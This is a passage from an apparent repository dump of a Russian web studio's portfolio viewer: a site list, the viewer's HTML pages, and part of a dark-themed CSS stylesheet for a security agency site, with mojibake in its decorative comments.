    "content": "/**\n * Tandem Portfolio Viewer — Engine v1.0\n * База данных сайтов для просмотра в Gallery\n *\n * Формат записи:\n * {\n *   id:          уникальный номер (int)\n *   title:       заголовок проекта\n *   description: краткое описание\n *   path:        путь до index.html проекта (относительно корня)\n * }\n */\n\nconst TANDEM_SITES = [\n    {\n        id: 0,\n        title: \"Главная\",\n        description: \"Добро пожаловать в Tandem Portfolio Viewer! Выберите проект из галереи для просмотра.\",\n        path: \"home/index.html\"\n    },\n    {\n        id: 1,\n        title: \"Сайт юриста Владимира\",\n        description: \"Сайт юриста с акцентом на профессионализм и надежность\",\n        path: \"works/example-lawyer/index.html\"\n    },\n    {\n        id: 2,\n        title: \"ЧОО «Астра»\",\n        description: \"Охранное агентство с акцентом на безопасность и надежность\",\n        path: \"works/example-astra/index.html\"\n    }, {\n        id: 3,\n        title: \"Страница программы «JSTD AI»\",\n        description: \"Анализатор JavaScript кода с помощью искусственного интеллекта\",\n        path: \"works/example-jstd/index.html\"\n    },\n    {\n        id: 4,\n        title: \"Сайт флориста Анастасии\",\n        description: \"Сайт флориста с акцентом на атмосферу и стиль\",\n        path: \"works/example-florist/index.html\"\n    },\n    {\n        id: 5,\n        title: \"Дизайнер Евгений Демидов\",\n        description: \"Портфолио графического дизайнера — Photoshop, брендинг, motion\",\n        path: \"works/example-designer/index.html\"\n    },\n    {\n        id: 6,\n        title: \"ArcVPN — Свободный интернет\",\n        description: \"VPN-клиент с обходом ТСПУ — YouTube, Discord, Instagram из РФ\",\n        path: \"works/example-vpn/index.html\"\n    },\n    {\n        id: 7,\n        title: \"Кондитер Виктория — Сладкий момент\",\n        description: \"Авторские торты ручной работы — свадебные, детские и муссовые десерты в г. Тандем\",\n        path: \"works/example-cakes/index.html\"\n    },\n];\n"
  },
  {
    "path": "legacy_tandem/viewer/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<!-- \n    Разработано с любовью студией Tandem Sites.\n    Вы достойны лучшего лендинга, — и мы его сделаем!\n    И не копайтесь в нашем коде, пожалуйста. Мы стесняемся.\n-->\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\" />\n    <title>Tandem Portfolio Viewer — Engine v1.0</title>\n    <link rel=\"icon\" type=\"image/png\" href=\"app/logo.png\" />\n    <link rel=\"stylesheet\" href=\"app/styles/default.css\" />\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link href=\"https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap\" rel=\"stylesheet\" />\n</head>\n\n<body>\n\n    <!-- ── TOP NAVIGATION PANEL ── -->\n    <header id=\"panel\" style=\"opacity:0\">\n\n        <!-- Logo -->\n        <a id=\"panel-logo\" href=\"#\" onclick=\"return false;\" title=\"Tandem Sites\">\n            <img src=\"app/logo.png\" style=\"height:26px;width:auto;display:block;object-fit:contain\" alt=\"Tandem Sites\" />\n        </a>\n\n        <div class=\"panel-divider\"></div>\n\n        <!-- Custom site selector -->\n        <div id=\"site-select-wrap\">\n            <button id=\"select-trigger\" onclick=\"toggleDropdown()\" title=\"Выбрать сайт из галереи\">\n                <span id=\"select-label\">Выбрать сайт</span>\n                <svg class=\"select-arrow\" viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                    <path d=\"M4 6l4 4 4-4\" />\n                </svg>\n            </button>\n            <div id=\"site-dropdown\">\n                <!-- >> index.db.js <<  -->\n            </div>\n        </div>\n\n        <div class=\"panel-divider\"></div>\n\n        <!-- Nav group: Back + Next -->\n        <div class=\"nav-group\">\n            <button class=\"nav-btn\" id=\"btn-prev\" onclick=\"navigate(-1)\" data-tip=\"Предыдущий сайт\">\n                <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                    <path d=\"M10 12L6 8l4-4\" />\n                </svg>\n                <span>Назад</span>\n            </button>\n            <button class=\"nav-btn\" id=\"btn-next\" onclick=\"navigate(1)\" data-tip=\"Следующий сайт\">\n                <span>Далее</span>\n                <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                    <path d=\"M6 4l4 4-4 4\" />\n                </svg>\n            </button>\n        </div>\n\n        <div class=\"panel-divider\"></div>\n\n        <!-- Site info -->\n        <div id=\"site-info\">\n            <div id=\"site-title\">—</div>\n            <div id=\"site-meta\">\n                <span id=\"site-counter\">1 / 1</span>\n                <span id=\"site-description\">Загрузка...</span>\n            </div>\n        </div>\n\n        <!-- Actions: open + copy URL + smartphone mode -->\n        <div class=\"panel-actions\">\n            <button id=\"phone-toggle\" data-tip=\"Режим смартфона\">\n                <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                    <rect x=\"4\" y=\"1\" width=\"8\" height=\"14\" rx=\"2\" />\n                    <path d=\"M7 12.5h2\" />\n                </svg>\n            </button>\n            <div class=\"actions-divider\"></div>\n            <a id=\"open-btn\" href=\"#\" target=\"_blank\" rel=\"noopener\" data-tip=\"Открыть в новой вкладке\">\n                <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                    <path d=\"M7 3H3a1 1 0 0 0-1 1v9a1 1 0 0 0 1 1h9a1 1 0 0 0 1-1V9\" />\n                    <path d=\"M10 2h4v4M14 2l-6 6\" />\n                </svg>\n            </a>\n            <button id=\"copy-btn\" data-tip=\"Копировать ссылку на проект\">\n                <svg class=\"icon-copy\" viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                    <rect x=\"5\" y=\"5\" width=\"8\" height=\"9\" rx=\"1.5\" />\n                    <path d=\"M3 11V3a1 1 0 0 1 1-1h7\" />\n                </svg>\n                <svg class=\"icon-check\" viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                    <path d=\"M3 8l4 4 6-6\" />\n                </svg>\n            </button>\n        </div>\n\n        <!-- Мобайл: одна кнопка вместо panel-actions -->\n        <button id=\"mobile-actions-btn\" aria-label=\"Действия\">\n            <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                <circle cx=\"3.5\" cy=\"8\" r=\"1.3\" />\n                <circle cx=\"8\" cy=\"8\" r=\"1.3\" />\n                <circle cx=\"12.5\" cy=\"8\" r=\"1.3\" />\n            </svg>\n        </button>\n\n    </header>\n\n    <!-- ── TOOLTIP ── -->\n    <div id=\"tip\"></div>\n\n    <!-- ── PHONE PREVIEW SHELL ── -->\n    <div id=\"phone-backdrop\"></div>\n    <div id=\"frame-placeholder\">\n        <div class=\"ph-loader\">\n            <div class=\"ph-loader-wrap\">\n                <div class=\"ph-loader-bar\" id=\"ph-bar\"></div>\n            </div>\n            <span class=\"ph-loader-text\" id=\"ph-label\"></span>\n        </div>\n    </div>\n    <div id=\"phone-shell\">\n        <div class=\"ps-island\"></div>\n        <div class=\"ps-btn ps-mute\"></div>\n        <div class=\"ps-btn ps-vol-up\"></div>\n        <div class=\"ps-btn ps-vol-dn\"></div>\n        <div class=\"ps-btn ps-power\"></div>\n        <div class=\"ps-bar\"></div>\n    </div>\n\n    <!-- ── PHONE PREVIEW SIDE PANELS ── -->\n    <div id=\"pp-left\">\n        <div class=\"pp-header\">Устройства</div>\n        <div class=\"pp-sep\"></div>\n        <div id=\"pp-devices\"></div>\n    </div>\n    <div id=\"pp-right\">\n        <div class=\"pp-header\">Формат</div>\n        <div class=\"pp-sep\"></div>\n        <div id=\"pp-formats\"></div>\n        <div class=\"pp-sep pp-sep--mt\"></div>\n        <button class=\"pp-exit-btn\" onclick=\"togglePhonePreview()\">\n            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                <path d=\"M6 2H3a1 1 0 0 0-1 1v10a1 1 0 0 0 1 1h3\" />\n                <path d=\"M10 11l3-3-3-3M13 8H6\" />\n            </svg>\n            Выйти из режима\n        </button>\n    </div>\n\n    <!-- ── LOADER ── -->\n    <div id=\"loader\">\n        <div class=\"loader-progress-wrap\">\n            <div class=\"loader-progress-bar\" id=\"progress-bar\"></div>\n        </div>\n        <span class=\"loader-text\" id=\"loader-label\">Загрузка ресурсов...</span>\n    </div>\n\n    <!-- ── IFRAME VIEWER ── -->\n    <iframe id=\"viewer-frame\" src=\"about:blank\" class=\"loading\" allowfullscreen title=\"Portfolio Viewer\"></iframe>\n\n\n    <!-- ── MOBILE ACTIONS MODAL ── -->\n    <div id=\"actions-modal\" role=\"dialog\" aria-modal=\"true\" aria-label=\"Действия с проектом\">\n        <div class=\"am-backdrop\" onclick=\"closeActionsModal()\"></div>\n        <div class=\"am-sheet\">\n            <div class=\"am-drag-handle\"></div>\n            <div class=\"am-header\">\n                <span class=\"am-title\">Действия</span>\n                <span class=\"am-site-name\" id=\"am-site-name\">—</span>\n            </div>\n            <div class=\"am-body\">\n\n                <!-- Открыть в новой вкладке -->\n                <a id=\"am-open-btn\" class=\"am-action\" href=\"#\" target=\"_blank\" rel=\"noopener\">\n                    <div class=\"am-action-icon\">\n                        <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.7\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M7 3H3a1 1 0 0 0-1 1v9a1 1 0 0 0 1 1h9a1 1 0 0 0 1-1V9\" />\n                            <path d=\"M10 2h4v4M14 2l-6 6\" />\n                        </svg>\n                    </div>\n                    <div class=\"am-action-text\">\n                        <span class=\"am-action-label\">Открыть в новой вкладке</span>\n                        <span class=\"am-action-sub\">Откроет проект в отдельном окне</span>\n                    </div>\n                    <svg class=\"am-action-arrow\" viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <path d=\"M6 4l4 4-4 4\" />\n                    </svg>\n                </a>\n\n                <!-- Скопировать ссылку -->\n                <button id=\"am-copy-btn\" class=\"am-action\">\n                    <div class=\"am-action-icon\">\n                        <svg class=\"am-icon-copy\" viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.7\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <rect x=\"5\" y=\"5\" width=\"8\" height=\"9\" rx=\"1.5\" />\n                            <path d=\"M3 11V3a1 1 0 0 1 1-1h7\" />\n                        </svg>\n                        <svg class=\"am-icon-check\" viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M3 8l4 4 6-6\" />\n                        </svg>\n                    </div>\n                    <div class=\"am-action-text\">\n                        <span class=\"am-action-label\">Скопировать ссылку</span>\n                        <span class=\"am-action-sub\">Ссылка на текущий проект</span>\n                    </div>\n                </button>\n\n                <div class=\"am-sep\"></div>\n\n                <!-- Режим смартфона — только на десктопе -->\n                <div class=\"am-action am-action--disabled\">\n                    <div class=\"am-action-icon\">\n                        <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.7\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <rect x=\"4\" y=\"1\" width=\"8\" height=\"14\" rx=\"2\" />\n                            <path d=\"M7 12.5h2\" />\n                        </svg>\n                    </div>\n                    <div class=\"am-action-text\">\n                        <span class=\"am-action-label\">Режим смартфона</span>\n                        <span class=\"am-action-sub\">Сайт уже открыт с телефона — функция доступна на ПК</span>\n                    </div>\n                </div>\n\n            </div>\n        </div>\n    </div>\n\n    <!-- ── DATABASE ── -->\n    <script src=\"index.db.js\"></script>\n\n    <!-- ── ENGINE (порядок важен!) ── -->\n    <!-- viewer: state, utils, loader, phone-preview -->\n    <script src=\"app/code/app.viewer.js\"></script>\n    <script src=\"app/code/app.viewer.loader.js\"></script>\n    <script src=\"app/code/app.viewer.mobile.js\"></script>\n    <!-- toolbox: navigation, modal, events -->\n    <script src=\"app/code/app.toolbox.navigation.js\"></script>\n    <script src=\"app/code/app.toolbox.modal.js\"></script>\n    <script src=\"app/code/app.toolbox.events.js\"></script>\n    <!-- init -->\n    <script src=\"app/code/app.viewer.init.js\"></script>\n\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/no-toolbox-viewer/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <title>Tandem Portfolio Viewer</title>\n    <link rel=\"icon\" type=\"image/png\" href=\"../app/logo.png\" />\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link href=\"https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap\" rel=\"stylesheet\" />\n    <link rel=\"stylesheet\" href=\"../app/styles/default.css\" />\n</head>\n\n<body>\n\n    <iframe id=\"project-frame\" title=\"Просмотр проекта\" allowfullscreen allow=\"fullscreen\"></iframe>\n\n    <div id=\"error-screen\" role=\"alert\" aria-live=\"assertive\">\n        <img src=\"../app/logo.png\" alt=\"Tandem\" class=\"err-logo\" />\n        <h1>Сформирован некорректный запрос</h1>\n        <p>Невозможно обратиться к базе данных или указаны неверные параметры запроса.</p>\n        <div class=\"err-divider\"></div>\n        <div class=\"err-badge\">\n            Код ошибки:&nbsp;<code>BAD_LOADER_PARAMETERS</code>\n        </div>\n        <span class=\"err-footer\">Tandem Portfolio Viewer</span>\n    </div>\n\n    <!-- ── ENGINE (порядок важен!) ── -->\n    <script src=\"../app/code/no-toolbox-viewer/index.state.js\"></script>\n    <script src=\"../app/code/no-toolbox-viewer/index.loader.js\"></script>\n    <script src=\"../app/code/no-toolbox-viewer/index.init.js\"></script>\n\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-astra/css/style.css",
    "content": "﻿/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ RESET & VARS в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n*,\n*::before,\n*::after {\n    margin: 0;\n    padding: 0;\n    box-sizing: border-box;\n}\n\n:root {\n    --red: #e50000;\n    --red-dark: #900000;\n    --red-glow: rgba(229, 0, 0, 0.45);\n    --bg: #080808;\n    --bg2: #0f0f0f;\n    --bg3: #141414;\n    --bg4: #1a1a1a;\n    --line: rgba(255, 255, 255, 0.06);\n    --text: #d4d4d4;\n    --text-dim: #777;\n    --white: #f0f0f0;\n    --font: \"Segoe UI\", \"Arial\", sans-serif;\n}\n\nhtml {\n    scroll-behavior: smooth;\n}\n\nbody {\n    font-family: var(--font);\n    background: var(--bg);\n    color: var(--text);\n    cursor: none;\n    overflow-x: hidden;\n    -webkit-font-smoothing: antialiased;\n}\n\n/* Убиваем дефолтный курсор браузера на всех элементах без исключений */\n*,\n*::before,\n*::after {\n    cursor: none !important;\n}\n\na {\n    color: inherit;\n    text-decoration: none;\n}\n\nimg {\n    display: block;\n    max-width: 100%;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ CUSTOM CURSOR в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n#cursor {\n    position: fixed;\n    width: 40px;\n    height: 40px;\n    pointer-events: none;\n    z-index: 99999;\n    transform: translate(-50%, -50%) scale(1);\n    transition:\n        transform 0.18s ease,\n        opacity 0.2s ease;\n    will-change: transform, left, top;\n}\n\n#cursor svg {\n    width: 100%;\n    height: 100%;\n}\n\nbody.cursor-hover #cursor {\n    transform: translate(-50%, -50%) scale(1.4);\n}\n\nbody.cursor-click #cursor {\n    transform: translate(-50%, -50%) scale(0.7);\n}\n\nbody.cursor-hidden #cursor {\n    opacity: 0;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ SCROLLBAR в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n::-webkit-scrollbar {\n    width: 5px;\n}\n\n::-webkit-scrollbar-track {\n    background: var(--bg);\n}\n\n::-webkit-scrollbar-thumb {\n    background: var(--red-dark);\n    border-radius: 3px;\n}\n\n::selection {\n    background: rgba(229, 0, 0, 0.38);\n    color: #fff;\n}\n::-moz-selection {\n    background: rgba(229, 0, 0, 0.38);\n    color: #fff;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ NAV в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\nnav {\n    position: fixed;\n    top: 0;\n    left: 0;\n    right: 0;\n    z-index: 1000;\n    display: flex;\n    align-items: center;\n    justify-content: space-between;\n    padding: 0 5vw;\n    height: 70px;\n    background: rgba(8, 8, 8, 0.82);\n    backdrop-filter: blur(18px);\n    border-bottom: 1px solid var(--line);\n    transition: background 0.3s;\n}\n\nnav.scrolled {\n    background: rgba(8, 8, 8, 0.97);\n}\n\n.nav-logo {\n    display: flex;\n    align-items: center;\n    gap: 12px;\n}\n\n.nav-logo .logo-icon {\n    width: 38px;\n    height: 38px;\n    fill: var(--red);\n    filter: drop-shadow(0 0 6px var(--red-glow));\n}\n\n.nav-logo span {\n    font-size: 1.35rem;\n    font-weight: 800;\n    letter-spacing: 0.12em;\n    color: var(--white);\n    text-transform: uppercase;\n}\n\n.nav-logo span em {\n    color: var(--red);\n    font-style: normal;\n}\n\n.nav-links {\n    display: flex;\n    gap: 2rem;\n    list-style: none;\n}\n\n.nav-links a {\n    font-size: 0.82rem;\n    font-weight: 600;\n    letter-spacing: 0.1em;\n    text-transform: uppercase;\n    color: var(--text-dim);\n    position: relative;\n    transition: color 0.2s;\n}\n\n.nav-links a::after {\n    content: \"\";\n    position: absolute;\n    left: 0;\n    bottom: -4px;\n    width: 0;\n    height: 2px;\n    background: var(--red);\n    transition: width 0.3s;\n}\n\n.nav-links a:hover {\n    color: var(--white);\n}\n\n.nav-links a:hover::after {\n    width: 100%;\n}\n\n.nav-cta {\n    padding: 9px 22px;\n    background: var(--red);\n    color: #fff !important;\n    font-size: 0.78rem !important;\n    font-weight: 700 !important;\n    letter-spacing: 0.12em !important;\n    text-transform: uppercase !important;\n    border: none;\n    clip-path: polygon(8px 0%, 100% 0%, calc(100% - 8px) 100%, 0% 100%);\n    transition:\n        background 0.2s,\n        filter 0.2s !important;\n}\n\n.nav-cta:hover {\n    background: #ff1a1a !important;\n    filter: drop-shadow(0 0 10px var(--red-glow));\n}\n\n.nav-cta::after {\n    display: none !important;\n}\n\n.burger {\n    display: none;\n    flex-direction: column;\n    gap: 5px;\n    cursor: none;\n    padding: 4px;\n    background: transparent;\n    border: none;\n    outline: none;\n    -webkit-appearance: none;\n    appearance: none;\n}\n\n.burger span {\n    width: 26px;\n    height: 2px;\n    background: var(--white);\n    transition: 0.3s;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ HERO в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\nsection.hero {\n    position: relative;\n    height: 100vh;\n    min-height: 680px;\n    display: flex;\n    flex-direction: column;\n    overflow: hidden;\n}\n\n.hero-bg {\n    position: absolute;\n    inset: 0;\n    background: radial-gradient(ellipse 55% 65% at 72% 45%, rgba(229, 0, 0, 0.13) 0%, transparent 65%), radial-gradient(ellipse 40% 40% at 28% 50%, rgba(229, 0, 0, 0.06) 0%, transparent 60%), linear-gradient(180deg, #080808 0%, #0c0c0c 100%);\n}\n\n/* Grid overlay */\n.hero-grid {\n    position: absolute;\n    inset: 0;\n    background-image: linear-gradient(rgba(255, 255, 255, 0.022) 1px, transparent 1px), linear-gradient(90deg, rgba(255, 255, 255, 0.022) 1px, transparent 1px);\n    background-size: 60px 60px;\n}\n\n/* Animated scan line */\n.hero-scan {\n    position: absolute;\n    left: 0;\n    right: 0;\n    height: 1px;\n    background: linear-gradient(90deg, transparent 0%, transparent 20%, var(--red) 50%, transparent 80%, transparent 100%);\n    opacity: 0.4;\n    animation: scanLine 5s linear infinite;\n}\n\n@keyframes scanLine {\n    0% {\n        top: -1px;\n    }\n    100% {\n        top: 100%;\n    }\n}\n\n/* в”Ђв”Ђ main split в”Ђв”Ђ */\n.hero-inner {\n    position: relative;\n    z-index: 2;\n    flex: 1;\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    align-items: center;\n    padding: 0 5vw 0 8vw;\n    gap: 4rem;\n    padding-top: 70px; /* nav height */\n}\n\n/* в”Ђв”Ђ left column в”Ђв”Ђ */\n.hero-left {\n    display: flex;\n    flex-direction: column;\n    align-items: flex-start;\n    gap: 0;\n}\n\n.hero-badge {\n    display: inline-flex;\n    align-items: center;\n    gap: 8px;\n    padding: 6px 16px;\n    border: 1px solid rgba(229, 0, 0, 0.4);\n    background: rgba(229, 0, 0, 0.07);\n    font-size: 0.7rem;\n    letter-spacing: 0.2em;\n    text-transform: uppercase;\n    color: var(--red);\n    margin-bottom: 1.8rem;\n    clip-path: polygon(6px 0%, 100% 0%, calc(100% - 6px) 100%, 0% 100%);\n    animation: fadeDown 0.7s ease both;\n}\n.hero-badge::before {\n    content: \"\";\n    width: 6px;\n    height: 6px;\n    background: var(--red);\n    border-radius: 50%;\n    animation: blink 1.4s ease infinite;\n}\n\n@keyframes blink {\n    0%,\n    100% {\n        opacity: 1;\n    }\n    50% {\n        opacity: 0.15;\n    }\n}\n\n.hero-title {\n    font-size: clamp(2.6rem, 5.5vw, 5.2rem);\n    font-weight: 900;\n    line-height: 1;\n    letter-spacing: -0.03em;\n    color: var(--white);\n    text-transform: uppercase;\n    animation: fadeDown 0.7s 0.12s ease both;\n    margin-bottom: 1.4rem;\n}\n.hero-title .red {\n    color: var(--red);\n    text-shadow: 0 0 50px var(--red-glow);\n}\n\n.hero-accent-line {\n    width: 60px;\n    height: 3px;\n    background: var(--red);\n    margin-bottom: 1.4rem;\n    animation: fadeDown 0.7s 0.22s ease both;\n}\n\n.hero-sub {\n    font-size: 0.95rem;\n    color: var(--text-dim);\n    letter-spacing: 0.06em;\n    line-height: 1.7;\n    max-width: 440px;\n    animation: fadeDown 0.7s 0.3s ease both;\n    margin-bottom: 2.2rem;\n}\n\n.hero-actions {\n    display: flex;\n    align-items: center;\n    gap: 1rem;\n    animation: fadeUp 0.7s 0.42s ease both;\n}\n\n/* в”Ђв”Ђ right column в”Ђв”Ђ */\n.hero-right {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    position: relative;\n    animation: fadeUp 0.9s 0.2s ease both;\n}\n\n.hero-target-wrap {\n    position: relative;\n    width: min(42vw, 420px);\n    aspect-ratio: 1;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n}\n\n.hero-target-wrap svg.target-svg {\n    width: 100%;\n    height: 100%;\n}\n\n/* Rotating outer ring */\n.t-ring-outer {\n    animation: rotateCW 18s linear infinite;\n    transform-origin: center;\n}\n.t-ring-mid {\n    animation: rotateCCW 12s linear infinite;\n    transform-origin: center;\n}\n@keyframes rotateCW {\n    to {\n        transform: rotate(360deg);\n    }\n}\n@keyframes rotateCCW {\n    to {\n        transform: rotate(-360deg);\n    }\n}\n\n/* Pulse rings */\n.t-pulse {\n    animation: pulseFade 2.4s ease-in-out infinite;\n    transform-origin: center;\n}\n.t-pulse2 {\n    animation-delay: 0.8s;\n}\n.t-pulse3 {\n    animation-delay: 1.6s;\n}\n@keyframes pulseFade {\n    0%,\n    100% {\n        opacity: 0;\n        transform: scale(0.7);\n    }\n    50% {\n        opacity: 0.35;\n        transform: scale(1);\n    }\n}\n\n/* Center dot */\n.t-dot {\n    animation: blink 1.2s ease infinite;\n}\n\n/* Corner brackets (decorative) */\n.hero-corner {\n    position: absolute;\n    width: 22px;\n    height: 22px;\n    border-color: var(--red);\n    border-style: solid;\n    opacity: 0.7;\n}\n.hero-corner.tl {\n    top: 8%;\n    left: 8%;\n    border-width: 2px 0 0 2px;\n}\n.hero-corner.tr {\n    top: 8%;\n    right: 8%;\n    border-width: 2px 2px 0 0;\n}\n.hero-corner.bl {\n    bottom: 8%;\n    left: 8%;\n    border-width: 0 0 2px 2px;\n}\n.hero-corner.br {\n    bottom: 8%;\n    right: 8%;\n    border-width: 0 2px 2px 0;\n}\n\n/* в”Ђв”Ђ bottom stats bar в”Ђв”Ђ */\n.hero-stats-bar {\n    position: relative;\n    z-index: 2;\n    display: grid;\n    grid-template-columns: repeat(4, 1fr);\n    border-top: 1px solid rgba(229, 0, 0, 0.2);\n    background: rgba(8, 8, 8, 0.7);\n    animation: fadeUp 0.7s 0.55s ease both;\n}\n\n.hero-stat {\n    padding: 1.4rem 2rem;\n    border-right: 1px solid rgba(255, 255, 255, 0.05);\n    display: flex;\n    flex-direction: column;\n    gap: 4px;\n}\n.hero-stat:last-child {\n    border-right: none;\n}\n\n.hero-stat .num {\n    font-size: 2rem;\n    font-weight: 900;\n    color: var(--red);\n    line-height: 1;\n    letter-spacing: -0.02em;\n}\n.hero-stat .lbl {\n    font-size: 0.68rem;\n    letter-spacing: 0.14em;\n    text-transform: uppercase;\n    color: var(--text-dim);\n}\n\n.btn-primary {\n    padding: 15px 36px;\n    background: var(--red);\n    color: #fff;\n    font-size: 0.85rem;\n    font-weight: 700;\n    letter-spacing: 0.12em;\n    text-transform: uppercase;\n    clip-path: polygon(10px 0%, 100% 0%, calc(100% - 10px) 100%, 0% 100%);\n    transition:\n        filter 0.2s,\n        transform 0.2s;\n}\n\n.btn-primary:hover {\n    filter: brightness(1.2) drop-shadow(0 0 14px var(--red-glow));\n    transform: translateY(-2px);\n}\n\n.btn-outline {\n    padding: 14px 36px;\n    border: 1px solid rgba(255, 255, 255, 0.18);\n    color: var(--white);\n    font-size: 0.85rem;\n    font-weight: 700;\n    letter-spacing: 0.12em;\n    text-transform: uppercase;\n    clip-path: polygon(10px 0%, 100% 0%, calc(100% - 10px) 100%, 0% 100%);\n    background: transparent;\n    transition:\n        border-color 0.2s,\n        color 0.2s,\n        background 0.2s;\n}\n\n.btn-outline:hover {\n    border-color: var(--red);\n    color: var(--red);\n    background: rgba(229, 0, 0, 0.07);\n}\n\n.hero-scroll {\n    display: none;\n}\n\n/* в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ SECTION COMMON в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\nsection {\n    position: relative;\n}\n\n.section-inner {\n    max-width: 1200px;\n    margin: 0 auto;\n    padding: 100px 5vw;\n}\n\n.section-label {\n    display: inline-flex;\n    align-items: center;\n    gap: 10px;\n    font-size: 0.7rem;\n    letter-spacing: 0.25em;\n    text-transform: uppercase;\n    color: var(--red);\n    margin-bottom: 1rem;\n}\n\n.section-label::before {\n    content: \"\";\n    width: 28px;\n    height: 2px;\n  